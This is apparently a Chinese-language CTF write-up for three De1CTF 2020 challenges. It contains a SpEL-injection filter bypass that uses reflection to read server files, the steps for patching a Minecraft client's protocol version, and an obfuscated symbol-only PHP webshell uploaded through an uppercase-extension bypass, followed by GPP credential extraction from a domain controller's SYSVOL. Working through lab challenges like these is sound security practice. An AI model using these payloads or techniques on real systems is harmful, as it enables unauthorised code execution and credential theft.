De1CTF 2020 部分WP

calc

一个计算器,玩了一下看到是SPEL表达式注入

过滤了# T(

那就花式反射呗

''.class -> java.lang.String ''.class.class -> java.lang.Class

拿到class了就forName

''.class.class.forName("java.util.Arrays")

然后xjb 去invoke newInstance就是没法往构造参数里传参

然后xjb google一通发现这个类

''.class.class.forName('org.springframework.util.ResourceUtils').getFile('/')

然后读flag就行了

''.class.class.forName('java.nio.file.Files').readAllLines(''.class.class.forName('org.springframework.util.ResourceUtils').getFile('/').listFiles()[21])

mc_joinin

一个魔改的mc服务端,大概是我要连上它

看了下协议实现,不想写…

抓包看了一下,服务端发来的protocol_version是997

那就魔改本地客户端就行了

题目说它是魔改的1.12服务端,那先下个1.12客户端下来,查了一下1.12的协议版本号是335

Patch 1

这里下面1.12是版本号,可能这个类是个CommonInfo啥的,把那个335改成997

Patch2

另外还有一些new mc()的地方,335后面那个参数是服务器地址,有可能那个mc类就是ConnectionImpl之类的,335全改成997

然后跑起来就能加入游戏

抓到点东西

访问过去是个图片,stegsolve瞎几把搞一下,完事

Hard_Pentest_1

有个上传

老套路了

<?= $_[]++ ?>
<?= $_[]=$_._ ?>
<?= $__________=+_ ?>
<?= $_=$_[++$__________][+_] ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= $__=++$_ ?>
<?= $___=++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= $____=++$_ ?>
<?= $_____=++$_ ?> 
<?= $______=${_.$___.$__.$____.$_____} ?>
<?= $______[+_]($______[$__________]) ?>

后缀大写PHP绕过

Get shell之后找不到flag 扫内网,有个域控192.168.0.12 smb看一下,有个共享Hint和SYSVOL 从SYSVOL里提取GPP得到用户和密码

UserNames : {HintZip_Pass}
NewName   : [BLANK]
Passwords : {zL1PpP@sSwO3d}

Hint里面有个压缩包,用上面的密码打开就得到flag